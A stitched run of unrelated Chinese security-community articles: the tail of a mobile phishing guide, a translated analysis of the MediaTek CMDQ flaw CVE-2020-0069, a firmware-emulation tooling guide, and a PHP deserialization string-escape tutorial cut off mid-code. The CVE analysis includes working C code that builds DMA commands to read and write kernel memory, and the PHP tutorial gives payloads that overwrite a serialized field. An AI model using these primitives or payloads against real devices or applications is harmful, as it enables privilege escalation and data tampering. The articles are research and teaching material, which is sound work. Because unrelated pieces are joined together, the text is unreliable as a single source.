虽然很多人熟知PC端的网络钓鱼行为，但他们往往对smishing和[vishing](https://blog.malwarebytes.com/glossary/Vishing/)等词汇感到陌生，下面我们将会逐一介绍。
#### SMiShing
SMiShing是通过SMS（短信息服务）完成的网络钓鱼方式，Android专家和高级分析师[Nathan
Collier](https://blog.malwarebytes.com/author/nathanmwb/)攥写了一篇文章，文章链接如下：
<https://blog.malwarebytes.com/cybercrime/2018/09/mobile-menace-monday-sms-phishing-attacks-target-the-job-market/>
文章上分享了一个和SMiShing相关的实例，Nathan
Collier的同事在自己的移动设备上接收到了一条信息，该信息称自己是一家人力资源公司，实际上该公司所说的是虚假信息。类似的情况还有很多，下图是Reddit（娱乐、社交及新闻网站）上的一条消息，该消息对iPhone用户进行警告，并诱使用户点击URL链接。
#### Vishing
Vishing是一种通过语音进行网络钓鱼的方式，通过VoIP或电话使用语音窃取来自呼叫接收者的信息，该方法通常与网络钓鱼相结合，利用人们认为移动电话服务更安全的固有思想。
Ars Technica（技术新闻资讯网站）在2018年7月发布的一篇文章中讲述了Vishing相关实例：
<https://arstechnica.com/information-technology/2018/07/click-on-this-ios-phishing-scam-and-youll-be-connected-to-apple-care/>
该本章写道：攻击者会通过电子邮件将用户引诱到一个虚假的Apple网站，该网站会弹出对话框并呼叫名字为“Lance Roger at
AppleCare.”的账号，AppleCare是苹果的售后保修服务。如下图所示：
在Android移动端，我们找到了[Fakebank](https://www.infosecurity-magazine.com/news/fakebank-android-banking-trojan/)木马，该木马能够拦截银行的短息和电话。比如，当用户打电话给合法的银行时，该木马会重定向到伪装成银行工作人员的诈骗者处，安全人员在韩国银行的相关活动中发现了该木马。
#### 其他类型：messenger phishing，social phishing，ad-network phishing
messenger phishing
“messenger phishing”是指通过移动端的应用程序进行网络钓鱼的方法，下图所示是“messenger
phishing”的相关例子，通过Facebook
Messenger（一个提供文字和语音服务的即时通讯服务和软件应用程序）进行传播，当你收到一些视频链接并点击时，可能被定向到其他地址，该地址可能会让你进行“登录”。[Facebook
Messenger网络钓鱼](https://www.securityforrealpeople.com/2017/03/facebook-messenger-phishing-scam.html)，相似的手段还可能出现在WhatsApp，Instagram，Viber，Skype，Snapchat和Slack等应用程序上。
social phishing
这是一种通过社交网站传播网络钓鱼的方式，下图是通过LinkedIn的InMail功能进行网络钓鱼的事件捕获：
下图是social phishing另一个案例，一个Twitter帐户冒充NatWest（英国的大型零售和商业银行）银行回答其银行客户的问题。
ad-network phishing
广告网络钓鱼，在移动设备上，广告以多种形式存在：可能存在于免费应用中，也可能在网页访问时弹出，这些广告可能是网络钓鱼或恶意软件的相关链接。
最后说一下网络钓鱼应用程序，这些程序伪装成正常程序，在被下载和安装后，会获取权限并收集用户凭证等信息，我们在Google
Play上看到了多个此类应用程序，且下载次数多达150万次。
### 移动网络钓鱼预防方法
对于不熟悉常见钓鱼策略的人来说，预防移动网络钓鱼是一个难点，我们在下面列出了一些移动网络钓鱼的迹象，可用于预防当中：
1.当收到的短信声称以下信息时，请谨慎回复：
（1）赢得奖品
（2）账户或订阅服务突然停用（通常没有透露理由）
（3）迫切需要你做一些事情来解决问题
2.收到来自未知的号码或发件人的邮件，如果邮件声称是您所使用的某个服务商发送，请在不能确定其邮件安全性的前提下，谨慎点击或联系服务提供商的客服。
3.避免点击伪造的超链接，熟悉自己经常使用的URL。
4.如果收到的消息包含shortened
URL（URL缩短，此服务可以提供一个非常短小的URL以代替原来的可能较长的URL，将长的URL地址缩短），请谨慎点击。
5.收到的消息或电话要求您提供个人信息时，请谨慎回答，尤其涉及到账户密码等敏感信息。大多数合法企业不会要求您提供个人敏感信息。
6.收到的邮件或电话没有告知您的姓名时，请小心，大多数企业都知道自己的客户的名字。
7.非安全链接（非HTTPS链接）请谨慎点击访问。
8.访问的URL后包含很长的破折号，如下图所示，这是一种被称为[URL
padding](https://info.phishlabs.com/blog/the-mobile-phishing-threat-youll-see-very-soon-url-padding)的技术，该技术会填充自己想要访问的域并进行隐藏。
从上图我们可以看到，完整的URL是：
hxxp://m.facebook.com----------------validate----step1.rickytaylk[dot]com/sign_in.html
其中，rickytaylk[dot]com是域名，m.facebook.com—————-validate—-step1是长子域名，由于移动设备屏幕尺寸有限，用户可能很难发现完整的URL。
9.[homograph attacks](https://blog.malwarebytes.com/glossary/homograph-attacks/)攻击同样适用于移动端，这是一种欺骗方法，攻击者创建有虚假域的URL并诱使用户访问。现在已经有许多应用程序对此类方法构造的URL进行报警。
## 三、总结
随着网络钓鱼数量的急剧增加，移动设备上的网络钓鱼防护不足以确保用户免受攻击。改进移动设备及其应用程序的安全性能，普及网络钓鱼相关知识和预防措施十分必要。 | 社区文章 |
# CVE-2020-0069：联发科最稳定的 Rootkit 解构
|
##### 译文声明
本文是翻译文章，文章原作者 Maxime Rossi Bellom，文章来源：blog.quarkslab.com
原文地址：<https://blog.quarkslab.com/cve-2020-0069-autopsy-of-the-most-stable-mediatek-rootkit.html>
译文仅供参考，具体内容表达以及含义原文为准。
在 2020 年的 3 月份，Google 修复了一个影响许多联发科设备的高危漏洞。联发科自 2019 年 4
月就知道了这个漏洞，之后在野被利用！这篇文章中，我们将提供一些关于这个漏洞的细节，并了解如何使用它来实现内核内存的读写。
## 概述
在 2020 年的 3 月份，Google 修复了一个影响许多联发科设备的高危漏洞。联发科自 2019 年 4 月份就知道了这个漏洞 ( 修复前 10 个月
)，该漏洞允许本地攻击者不需要特权即可读写系统内存，实现提权。甚至出现了一个名为 mtk-su 的漏洞利用程序，通过它可以获得很多存在漏洞的设备的 root
权限，这在 2019 年就被开发完成。在撰写本文时，关于这个漏洞的信息很少。所以我们决定自己去研究看看。
## 关于 CVE-2020-0069
根据联发科公布的信息，这个漏洞允许本地攻击者到达任意的物理地址实现内存读写，并能进一步实现提权。受影响的模块是联发科的命令队列驱动程序( Command
Queue driver ) 或者 CMDQ 驱动。在驱动上使用 IOCTL ，这令攻击者有可能分配一个 DMA ( Direct Memory
Access ) 缓冲区，并且向 DMA 硬件发送命令为了实现物理地址的读写。
提醒一下，Direct Memory Access 是允许专用的硬件可以直接与主内存( RAM )
发送和接收数据的一种特性。其目的是为了通过允许大量的内存访问而不占用太多的 CPU 来加速系统。这个驱动似乎允许从用户态与 DMA
控制器通信，以完成媒体和显示相关的任务。
至少有超过 10 个 SoC( System on Chip ) 受到此漏洞的影响，甚至有更多。我们已经能够在小米的 红米6a 设备上利用它 (
使用联发科的 MT6762M SoC )。
## CMDQ 驱动程序
在网络上有此驱动的很多版本。在本次研究中，我们主要关注小米的红米6a 的开源内核。此驱动程序的实现可以在
drivers/misc/mediatek/cmdq 找到。相关的驱动程序可以是 /dev/mtk-cmdq 或 /proc/mtk-cmdq 具体取决于
SoC ，并可用于任何应用程序，无需授权 ( 至少在存在漏洞的设备上是这样的 )。
照之前所说，此驱动程序可以被用户( 从用户态 )通过 IOCTL 系统调用控制。
#define CMDQ_IOCTL_EXEC_COMMAND _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 3, \
struct cmdqCommandStruct)
#define CMDQ_IOCTL_QUERY_USAGE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 4, \
struct cmdqUsageInfoStruct)
/* */
/* Async operations */
/* */
#define CMDQ_IOCTL_ASYNC_JOB_EXEC _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 5, \
struct cmdqJobStruct)
#define CMDQ_IOCTL_ASYNC_JOB_WAIT_AND_CLOSE _IOR(CMDQ_IOCTL_MAGIC_NUMBER, 6, \
struct cmdqJobResultStruct)
#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 7, \
struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_FREE_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 8, \
struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_READ_ADDRESS_VALUE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 9, \
struct cmdqReadAddressStruct)
在所有可用的操作中，我们关注以下几个 :
* CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 用于分配 DMA 缓冲区，并且接收一个结构体 cmdqWriteAddressStruct 作为参数
* CMDQ_IOCTL_FREE_WRITE_ADDRESS 用于释放之前分配的 DMA 缓冲区
* CMDQ_IOCTL_EXEC_COMMAND 允许发送一个命令缓冲区给 DMA 控制器，并接收结构体 cmdqCommandStruct 作为参数
* CMDQ_IOCTL_READ_ADDRESS_VALUE 用于读取 DMA 缓冲区的值
## 分配一个 DMA 缓冲区
当调用 CMDQ_IOCTL_ALLOC_WRITE_ADDRESS ，我们提供一个结构体 cmdqWriteAddressStruct ，在 count
字段中包含了请求缓冲区的大小。在字段 startPA 上存储着我们接收到的物理地址，我们无法直接在用户态访问这个地址，为了访问这个内存区域，我们需要使用
CMDQ_IOCTL_EXEC_COMMAND。
释放 DMA 的缓冲区是可能的，我们需要调用 CMDQ_IOCTL_FREE_WRITE_ADDRESS 并且传递一个之前分配时传递的结构体
cmdqWriteAddressStruct 作为参数
## 执行命令
CMDQ_IOCTL_EXEC_COMMAND 接收一个结构体 cmdqCommandStruct 作为参数。
struct cmdqCommandStruct {
[...]
/* [IN] pointer to instruction buffer. Use 64-bit for compatibility. */
/* This must point to an 64-bit aligned u32 array */
cmdqU32Ptr_t pVABase;
/* [IN] size of instruction buffer, in bytes. */
u32 blockSize;
/* [IN] request to read register values at the end of command */
struct cmdqReadRegStruct regRequest;
/* [OUT] register values of regRequest */
struct cmdqRegValueStruct regValue;
/* [IN/OUT] physical addresses to read value */
struct cmdqReadAddressStruct readAddress;
[...]
按照之前所说的，这个 IOCTL 系统调用允许发送命令给 DMA 控制器执行。这个命令是存放在用户态的缓冲区的，其地址需要放在字段 pVABase
中，其大小需要放在 blockSize 字段中
在命令结构体中的字段 readAddress 被用来在执行命令后保存从 DMA 缓冲区读取的值。字段 readAddress.dmaAddresses
指向一个用户态缓冲区，这里包含了要读取的 DMA 缓冲区的地址。它的大小由字段 readAddress.count
决定。所有的地址都会被内核读取，并且读取的值将会被存放在由字段 readAddress.values 指向的用户态缓冲区。
读取 DMA 缓冲区同样也可以通过使用 IOCTL 命令 CMDQ_IOCTL_READ_ADDRESS_VALUE 实现。
## 命令描述
一个命令由两个 32 位的字组成，并且由一个命令代码标识
enum cmdq_code {
CMDQ_CODE_READ = 0x01,
CMDQ_CODE_MASK = 0x02,
CMDQ_CODE_MOVE = 0x02,
CMDQ_CODE_WRITE = 0x04,
CMDQ_CODE_POLL = 0x08,
CMDQ_CODE_JUMP = 0x10,
CMDQ_CODE_WFE = 0x20,
CMDQ_CODE_EOC = 0x40,
[...]
下面有一些命令的描述是我们将要去使用的。
CMDQ_CODE_WRITE 和 CMDQ_CODE_READ
write 命令用于将 data 寄存器中的值写入到 address 寄存器所存放的地址中。read 命令读取 address
寄存器指向的地址的内容，并将结果存放在 data 寄存器中。
根据选项位 ( 图中 TYPE A 和 TYPE B )，可以从 REG NUMBER 字段中的名为 subsysID 的值和 value
字段中的偏移量计算地址。subsysID 的值将被内核 DTS 的实际物理地址替代。
CMDQ_CODE_MOVE
这个命令将会允许把一个值 ( 最大 48 bit )传入一个寄存器中。这个值也可以被存放在 data 寄存器或者 address
寄存器，可以是任意数据或者一个地址。这可能是这里最大的问题，因为没有对地址进行检查。
CMDQ_CODE_WFE
WFE 代表的是 Wait For Event and clear ,根据我们的理解，我们可以借助它去阻塞一些寄存器的使用 ( 就像使用互斥锁一样
)。与此命令一起使用的事件标志与我们将在命令缓冲区中使用的一组寄存器相关联。举个例子，对于寄存器 CMDQ_DATA_REG_DEBUG (R7) 和
CMDQ_DATA_REG_DEBUG_DST (P11),必须使用事件 ( 或令牌，源代码中的的称呼 )
CMDQ_SYNC_TOKEN_GPR_SET_4。我们在每个命令缓冲区的开头和结尾使用 WFE 命令。
CMDQ_CODE_EOC
EOC 代表的是 End Of Command,它必须放在每个命令缓冲区的末尾，在 CMDQ_CODE_WFE
命令后面，用于标示命令列表的结尾。看上去它包含了非常多的标志位，但是对于我们的使用而言，我们仅仅需要知道 IRQ 标志位总是需要被设置。
CMDQ_CODE_JUMP
根据源代码的注释，该命令允许使用一个偏移量跳转进命令缓冲区。我们在每个命令缓冲区的末尾使用这个命令，在 CMDQ_CODE_EOC 命令后面，总是在偏移
0x8 处跳转，即之前的命令处。我们的理论是在 DMA 控制器中实现预取机制，这命令将确保 CMDQ_CODE_EOC 命令考虑在内。
## 寄存器
在命令描述中，我们提到了两种类型的寄存器:
* value 寄存器 ( 从 R0 到 R15 ) 由 32位比特组成
* address 寄存器 ( 从 P0 到 P7 ) 由 64位比特组成
enum cmdq_gpr_reg {
/* Value Reg, we use 32-bit */
/* Address Reg, we use 64-bit */
/* Note that R0-R15 and P0-P7 actually share same memory */
/* and R1 cannot be used. */
CMDQ_DATA_REG_JPEG = 0x00, /* R0 */
CMDQ_DATA_REG_JPEG_DST = 0x11, /* P1 */
CMDQ_DATA_REG_PQ_COLOR = 0x04, /* R4 */
CMDQ_DATA_REG_PQ_COLOR_DST = 0x13, /* P3 */
CMDQ_DATA_REG_2D_SHARPNESS_0 = 0x05, /* R5 */
CMDQ_DATA_REG_2D_SHARPNESS_0_DST = 0x14, /* P4 */
CMDQ_DATA_REG_2D_SHARPNESS_1 = 0x0a, /* R10 */
CMDQ_DATA_REG_2D_SHARPNESS_1_DST = 0x16, /* P6 */
CMDQ_DATA_REG_DEBUG = 0x0b, /* R11 */
CMDQ_DATA_REG_DEBUG_DST = 0x17, /* P7 */
## 开始玩转驱动程序
现在我们理解了一点这个驱动程序的工作原理，让我们用它来实现基本的内存读写。
## 写内存
为了在内存中写一个 32 比特的值，我们可以使用以下命令:
* MOVE 一个 32 比特的值到 value 寄存器
* MOVE 一个我们想要放数据的位置的地址到 address 寄存器中
* WRITE value 寄存器中的值到 address 寄存器指向的地址中
// move value into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = value;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
| CMDQ_DATA_REG_DEBUG << 16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
| CMDQ_DATA_REG_DEBUG_DST << 16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22
| CMDQ_DATA_REG_DEBUG_DST << 16;
command->blockSize += 8;
## 读内存
在内存中读取一个 32 比特的值可以用四条命令实现:
* MOVE 需要被读取的地址 ( pa_address ) 到 address 寄存器
* READ address 寄存器指向的地址并将结果存放在 value 寄存器中
* MOVE DMA 缓冲区地址 ( dma_address ) 到 address 寄存器
* WRITE value 寄存器中的值到 address 寄存器指向的地址中
我们需要将这些命令预先放置在一个已经分配好的缓冲区中并将地址写入在结构体 cmdqCommandStruct 中的 pVABase
字段。命令缓冲区的大小必须放在 blockSize 字段中。
// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
| CMDQ_DATA_REG_DEBUG_DST << 16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
// read value at CMDQ_DATA_REG_DEBUG_DST into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_READ << 24 | 3 << 22
| CMDQ_DATA_REG_DEBUG_DST << 16;
command->blockSize += 8;
// move dma_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)dma_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
| CMDQ_DATA_REG_DEBUG_DST << 16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22
| CMDQ_DATA_REG_DEBUG_DST << 16;
然后我们通过填写 readAddress 字段来通知驱动程序我们想要读取 DMA 缓冲区的值
*(uint32_t*)((uint32_t)command->readAddress.dmaAddresses) = dma_address;
command->readAddress.count = offset;
结果将会被写入到之前分配好的 readAddress.values 中
## 简易的 PoC
要标识内核使用的物理地址，一个可以使用的设备是 /proc/iomem ( 需要 root 权限 )
# cat /proc/iomem
[...]
40000000-545fffff : System RAM
40008000-415fffff : Kernel code
41800000-41d669b3 : Kernel data
[...]
这些地址是静态配置的，并且在每次引导时保持不变
这个 PoC 由两个程序组成:
* 一个 C 程序允许基础的内存读写
* 一个 shell 脚本，调用前面的程序来搜索内核数据内存中第一个出现的 “Linux” 字符串，然后将其替换为 “minix”
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
非常有用…
我们已经实现了读写内核内存数据。我们可以对任何其他内存区域做同样的事情，绕过系统中设置的权限和保护。所以除了玩一些小把戏，通过这个漏洞修改系统内存中的任何一个部分例如内核代码和数据以便实现提权。
二进制工具 mtk-su 通过该漏洞执行了很多有趣的操作，从而达到 root 权限。在这篇文章中我们不打算详细介绍 mtk-su
使用的这些内核利用方法。然而那些想要了解更多的人，可以看看我们制作的小型跟踪库。它会在启动 mtk-su 时进行预加载，并且它将跟踪 CMDQ
驱动程序的一些 IOCTL 调用，例如发送给驱动程序的命令。
$ mkdir mtk-su
$ LD_PRELOAD=./syscall-hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x5a733000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
[...]
$ cat mtk-su/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40928000 into reg 17
READ address reg 17, data reg b
[...]
PoC和跟踪程序库可以在 Quarkslab 的存储库中找到
[CVE-2020-0069_poc](https://github.com/quarkslab/CVE-2020-0069_poc)
## 总结
这个漏洞非常的危险。它基本上允许任何应用程序读写所有的系统内存，包括内核内存。我们可能想要知道为什么这个设备驱动程序需要被每一个应用程序访问，而不仅仅是开放给硬件抽象层(
Hardware Abstraction Layer ) 和与媒体相关的进程。它至少需要添加一个额外的步骤来从一个没有特权的应用程序获得 root 权限。
根据 Fire HD 8 Linux
内核的源代码。通过解析来自命令缓冲区的所有命令并验证每个命令以及使用的地址和寄存器，这个问题得到了解决。举个例子，只有来自于 DMA
缓冲区的地址被允许移动到一个 address 寄存器中。
因为我们不是发现这个漏洞的人，我们无法通知给联发科这个问题。但从技术角度来看，没有什么能让这个漏洞需要这么长时间才修复。根据 XDA 开发者的文章，联发科自
2019 年 5 月份进行了修复，但它花了 10 个月的时间才在终端用户设备上广泛修补。感谢有了 Android 许可协议，谷歌已经能够迫使 OEM
更新他们的设备。这是 Android 生态系统中补丁管理复杂性的一个很好的例子，许多参与者 ( SoC 制造商、OEM、ODM )
必须一起行动，以修复终端用户设备上的漏洞。最后，似乎只有法律方面才能迫使所有这些参与者集成修复程序。
我们现在可能想知道，是否所有嵌入联发科 SoC 并集成 AOSP OS 版本且没有 Android
许可协议的设备都能从这个补丁中受益，而它们的供应商没有法律义务去集成它。
## 引用
[[1]
https://source.android.com/security/bulletin/2020-03-01](https://source.android.com/security/bulletin/2020-03-01)
[[2] https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213](https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213)
[[3] https://www.xda-developers.com/files/2020/03/CVE-2020-0069.png](https://www.xda-developers.com/files/2020/03/CVE-2020-0069.png)
[[4] https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss](https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss)
[[5]
https://www.amazon.com/gp/help/customer/display.html?tag=androidpolice-20&nodeId=200203720](https://www.amazon.com/gp/help/customer/display.html?tag=androidpolice-20&nodeId=200203720)
[[6] https://www.xda-developers.com/mediatek-su-rootkit-exploit/](https://www.xda-developers.com/mediatek-su-rootkit-exploit/) | 社区文章 |
## binwalk：固件提取
一定要完整安装！！
参考[固件模拟调试环境搭建](http://zeroisone.cc/2018/03/20/%E5%9B%BA%E4%BB%B6%E6%A8%A1%E6%8B%9F%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/)
$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git
$ git clone https://github.com/devttys0/binwalk.git
$ cd binwalk
# python2.7安装
$ sudo python setup.py install
# 自动安装依赖库文件
$ sudo ./deps.sh
# 提取固件 -M递归提取
$ binwalk -Me XX.bin
## qemu：模拟执行
### qemu安装
sudo apt-get install qemu
#user mode,包含qemu-mips-static，qemu-mipsel-static,qemu-arm-static等
sudo apt-get install qemu-user-static
#system mode，包含qemu-system-mips，qemu-system-mipsel,qemu-system-arm等
sudo apt-get install qemu-system
### qemu模拟mips程序
qemu有两种运行模式：
user mode : qemu-mips(mipsel/arm)-static。用户只需要将各种不同平台的处理编译得到的Linux程序放在QEMU虚拟中运行即可，其他的事情全部由QEMU虚拟机来完成，不需要用户自定义内核和虚拟磁盘等文件；
system mode:qemu-system-mips(mipsel) :
用户可以为QEMU虚拟机指定运行的内核或者虚拟硬盘等文件，简单来说系统模式下QEMU虚拟机是可根据用户的要求配置的。
#### user mode
用户模式下需要切换"/"目录，使用的是chroot命令，将根目录切换到binwalk提取出的文件系统目录下，例如squashfs-root，cpio-root。
在需要指定新的动态库实现一些函数的劫持时，用-E LD_PRELOAD="XX.so"
开启调试模式时，使用-g 1234
#将qemu-mips-static拷贝到当前目录下
$ sudo cp $(which qemu-mips-static) .
$ sudo chroot . ./qemu-mips-static -E LD_PRELOAD="XX.so" -g 1234 bin/boa
#### system mode
用这个模式稍微麻烦一点点，但是能获取到的信息也比较多，比如能够查看qemu内部进程的内存分布，设备之类的情况。
1.配置网卡
参考[一步一步PWN路由器之环境搭建](https://xz.aliyun.com/t/1508#toc-2)即可，大佬写的很全了
2.启动qemu
两个镜像下载：[debian](https://people.debian.org/~aurel32/qemu/mips/)
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic -net tap -nographic -s
参数说明：
-M 指定开发板 你能够使用-M ?參数来获取该qemu版本号支持的全部单板
-kernel 内核镜像路径
-hda/-hdb IDE硬盘镜像
-append 内核启动参数 内核命令行
-s 等同于-g 1234
3.开启qemu之后，将binwalk提取出的文件系统拷贝到虚拟机中
$ scp -r ./cpio-root [email protected]:/root/
4.接下来就可以在远端mips虚拟机上运行程序
$ export LD_PRELOAD='XX.so'
$ chroot . bin/busybox
## firmadyne：固件模拟工具
一些固件是可以用这个软件来模拟的，但不是所有都可以，不能的还要用qemu
下载和安装：[firmadyne](https://github.com/firmadyne/firmadyne)按照这个一步一步来就OK了（懒的话可以直接下[FAT](https://github.com/attify/firmware-analysis-toolkit)）
建议如果用的是FAT，先在fat.py的setup_network函数中加入`child.logfile =
file("mylog.txt",w)`，要不然看不见输出的各种error和warning；
def setup_network(arch, image_id):
print "[+] Setting up the network connection, please standby"
network_cmd = "sudo " + firmadyne_path + "/scripts/inferNetwork.sh " + image_id + " " + arch
child = pexpect.spawn(network_cmd)
child.logfile = file("mylog.txt",'w')#here!!!!!!!get log
child.sendline(root_pass)
child.expect("Interfaces:", timeout=None)
interfaces = child.readline().strip()
print "[+] Network interfaces : " + interfaces
child.expect(pexpect.EOF)
出现的问题：
1.firmadyne获取不到IP
按照firmadyne软件的readme一步一步执行时，`sudo ./scripts/makeImage.sh 1`
报错：the file /dev/mapper/loop0p1 does not exist and no size was specified。
在该脚本里，DEVICE是由get_device获取到的，get_device在firmadyne.config中
get_device () {
echo "/dev/mapper/loop0p1"
}
而在系统中已经有很多loop的情况下，makeImage.sh会将QEMU img挂载到loop32(例)这种数字比较大的loop上。
解决方法是在mounting之后，将kpartx挂载虚拟文件系统返回的device作为mkfs.ext2的参数，[具体方法](https://github.com/firmadyne/firmadyne/issues/89)
## 交叉编译：mips-linux-gnu-gcc
可用在编译新的动态库，劫持程序的运行。
$ sudo apt-get install linux-libc-dev-mips-cross
$ sudo apt-get install libc6-mips-cross libc6-dev-mips-cross
$ sudo apt-get install binutils-mips-linux-gnu gcc-mips-linux-gnu
$ sudo apt-get install g++-mips-linux-gnu
## mips 调试
### gdb
编译一个mips的gdb：[mips-linux-gdb](https://blog.csdn.net/zqj6893/article/details/84662579)
专属于mips指令的gdb比较好用，gdb-multiarch也ok但是要在调试之前set arch mips;set endian
big/little。如果用了类似pwndbg等插件出现问题，可在~/.gdbinit中注释掉各种source用纯gdb。
### IDA
在Ubuntu下安装wine就可运行windows下的IDA了。
## mips指令反编译：ghidra
[下载ghidra](https://www.ghidra-sre.org/)
环境只需要JDK11就OK，可直接查看反编译代码，比IDA方便，但是xref这种还是要结合着IDA一起来看。
**不要用ghidra patch文件！！！ghidra除了patch之外还会修改文件！！造成无法运行！！** | 社区文章 |
#### 基础讲解
反序列化字符串逃逸是PHP反序列化中常见的一个类型，首先看php序列化与反序列化的几个特性：
PHP在反序列化时，对类中不存在的属性也会进行反序列化;
PHP在反序列化时，底层代码是以 ; 作为字段的分隔，以 } 作为结尾(字符串除外)，根据长度判断内容;
PHP在反序列化时,会严格按照序列化规则才能成功实现反序列化。
字符串逃逸的实质是 **闭合** ，分为两种：字符变多、字符变少，导致字符变多、变少的原因是利用了不正确的过滤或者其他操作。
#### 正常情形
先看一个正常序列化与反序列化的例子：
<?php
$username = 'xixi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
例子中我们对数组进行序列化与反序列化
#### 字符变多
此时如果我们构造一个过滤函数，在进行反序列化之前进行过滤有关字符：
<?php
function filter($string){
$filter = '/x/i';
return preg_replace($filter,'yy',$string);
}
$username = 'xixi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可以看到我们构造了一个filter()函数，在进行反序列化之前我们用filter()函数进行处理：
可见经过filter()函数处理，`x` 字符替换为`yy` 导致序列化的字符串变多，从而在反序列化的时候出错。
原因是经过filter函数处理后字符变多，字符串存在一个x，处理后就会多出一个字符，导致长度错误反序列化失败。
这正是我们攻击的利用点，假如username的值是我们可控的，现在通过构造恶意payload控制password的值。
要想让password成功反序列化构造的字符串为:`";i:1;s:5:"test2";}`
做法就是通过username输入 n个x+`";i:1;s:5:"test2";}`，因为我们的payload长度为19，所以n为19，即19个x：
xxxxxxxxxxxxxxxxxxx";i:1;s:5:"test2";}
<?php
function filter($string){
$filter = '/x/i';
return preg_replace($filter,'yy',$string);
}
$username = 'xxxxxxxxxxxxxxxxxxx";i:1;s:5:"test2";}';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见可以顺利反序列化，并且password的值我们可控，变为了test2。
总结：
先看过滤函数，找出字符变多还是字符变少，并且计算变化个数
多出一个字符，构造过滤字符的个数为构造的payload的长度
多出n个字符，构造过滤字符的个数为构造的payload的长度/n
#### 字符变少
现在我们改一下过滤函数，造成过滤后字符变少：
<?php
function filter($string){
$filter = '/yy/i';
return preg_replace($filter,'x',$string);
}
$username = 'yyiyyi';
$password = 'test1';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见经过过滤`yy`变为`x`，导致序列化后的字符串长度减少了2，以至于反序列化失败。
这时候要想控制password的值需要构造username和password，username构造过滤字符，password处构造逃逸字符。
如果我们控制`password=test2`，正常反序列化后为：`;i:1;s:5:"test2";}`，这正是需要逃逸的字符，需要传入password，同时前边插入任意字符+双引号用来闭合双引号序列化之后：
a:2:{i:0;s:22:"xxxxxxxxxxx";i:1;s:20:"1";i:1;s:5:"test2";}";}
通过观察可见要想正常反序列化导致恶意password值逃逸，就需要长度为`";i:1;s:20:"1`的长度，即长度为13，前边我们知道一个yy减少一个字符，要想包含进来就需要存在13个yy，这样会让构造的password逃逸：
<?php
function filter($string){
$filter = '/yy/i';
return preg_replace($filter,'x',$string);
}
$username = 'yyyyyyyyyyyyyyyyyyyyyyyyyy1';
$password = '1";i:1;s:5:"test2";}';
$user = array($username, $password);
$vv = serialize($user);
var_dump($vv);
echo "\r\n";
